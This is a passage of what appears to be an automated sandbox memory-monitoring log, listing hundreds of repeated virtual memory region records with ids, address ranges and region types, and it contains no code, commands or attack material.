region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4538 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4539 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4540 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4541 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4542 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4543 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4544 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4545 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4546 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4547 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4548 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4549 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4550 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4551 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4552 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4553 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4554 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4555 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4556 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4557 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4558 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4559 start_va = 0x1ad80000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4560 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4561 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4562 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4563 start_va = 0x1ad80000 end_va = 0x1ad86fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad80000" filename = "" Region: id = 4564 start_va = 0x7ffaa2da0000 end_va = 0x7ffaa2daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2da0000" filename = "" Region: id = 4565 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4566 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4567 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4568 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4569 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4570 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4571 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4572 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4573 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4574 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4575 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4576 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4577 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4578 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4579 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4580 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4581 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 4582 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4583 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 4584 start_va = 0x1b320000 end_va = 0x1b32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 4585 start_va = 0x1b330000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b330000" filename = "" Region: id = 4586 start_va = 0x1b340000 end_va = 0x1b34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b340000" filename = "" Region: id = 4587 start_va = 0x1b350000 end_va = 0x1b35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b350000" filename = "" Region: id = 4588 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4589 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4590 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4591 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4592 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4593 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4594 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4595 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4596 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4597 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4598 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4599 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4600 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4601 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4602 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4603 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4604 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4605 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4606 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4607 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4608 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4609 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4610 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4611 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4612 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4613 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4614 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4615 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4616 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4617 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4618 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4619 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4620 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4621 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4622 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 4623 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4624 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4625 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4626 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4627 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4628 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4629 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4630 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4631 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4632 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4633 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4634 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4635 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4636 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4637 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4638 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4639 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4640 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4641 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4642 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4643 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4644 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4645 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4646 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4647 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4648 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4649 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4650 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4651 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4652 start_va = 0x1b2f0000 end_va = 0x1b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2f0000" filename = "" Region: id = 4653 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4654 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 4655 start_va = 0x1b5c0000 end_va = 0x1b6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b5c0000" filename = "" Region: id = 4656 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4657 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4658 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4659 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4660 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4661 start_va = 0x1b6c0000 end_va = 0x1b7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6c0000" filename = "" Region: id = 4662 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 4663 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4664 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4665 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4666 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4667 start_va = 0x1b2f0000 end_va = 0x1b2f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b2f0000" filename = "" Region: id = 4668 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4669 start_va = 0x1b7c0000 end_va = 0x1b8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7c0000" filename = "" Region: id = 4670 start_va = 0x1ad90000 end_va = 0x1ad95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad90000" filename = "" Region: id = 4671 start_va = 0x7ffaa2db0000 end_va = 0x7ffaa2dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2db0000" filename = "" Region: id = 4672 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4673 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4674 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4675 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4676 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4677 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4678 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4679 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4680 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4681 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4682 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4683 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4684 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4685 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4686 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4687 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4688 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4689 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4690 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4691 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4692 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4693 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4694 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4695 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4696 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4697 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4698 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4699 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4700 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4701 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4702 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4703 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4704 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4705 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4706 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4707 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4708 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4709 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4710 start_va = 0x1b300000 end_va = 0x1b30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b300000" filename = "" Region: id = 4711 start_va = 0x1b310000 end_va = 0x1b31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 4712 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4713 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4714 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4715 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4716 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4717 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4718 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4719 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4720 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4721 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4722 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4723 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4724 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4725 start_va = 0x1b2d0000 end_va = 0x1b2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 4726 start_va = 0x1b2e0000 end_va = 0x1b2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2e0000" filename = "" Region: id = 4727 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4728 start_va = 0x1b2c0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2c0000" filename = "" Region: id = 4729 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 4730 start_va = 0x1b2c0000 